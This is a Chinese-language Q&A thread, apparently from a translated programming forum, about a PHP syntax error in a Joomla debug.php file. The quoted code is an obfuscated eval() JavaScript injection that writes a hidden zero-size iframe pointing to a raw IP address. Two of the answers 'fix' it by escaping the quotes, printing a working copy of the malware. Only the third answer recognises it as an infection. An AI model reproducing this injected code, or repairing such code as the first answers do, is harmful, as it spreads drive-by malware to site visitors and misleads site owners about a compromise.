Joomla语法错误

时间:2015-09-13 15:04:06

标签: php joomla wamp

我已经在服务器和localhost上运行了,我遇到了同样的问题,我已尝试搜索但未找到任何解决方案。请帮我解决。

enter image description here

enter image description here

$body = str_replace('<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|79||src|height|119|width|board||54|php|158|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>', $debug.'</body>', $body);
    JResponse::setBody($body);

错误如下:

syntax error, unexpected ''.replace (/^/,String)){while(c' (T_CONSTANT_ENCAPSED_STRING) ...\debug.php on line 204

谢谢大家。

3 个答案:

答案 0 :(得分:0)

您没有转义字符串中的单引号。替换为:

$body = str_replace('<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);\',26,26,\'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|79||src|height|119|width|board||54|php|158|tag1|ram\'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>', $debug.'</body>', $body);

答案 1 :(得分:0)

澄清itocopus的回应。当您使用带有单引号的str_replace,即('')时,当您在其中包含单引号时,它认为您正在关闭该函数。所以你需要用\来逃避它。所以你想使用'你会在其中使用:('\'')。

总计将是:

$body = str_replace('<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\b\'+e(c)+\'\\b\',\'g\'),k[c])}}return p}(\'1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);\',26,26,\'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|79||src|height|119|width|board||54|php|158|tag1|ram\'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body>', $debug.'</body>', $body);

答案 2 :(得分:0)

这是恶意软件注入。 Joomla和Wordpress很常见。你必须在网上删除你的在线备份。将所有传递更改为ftp和CMS。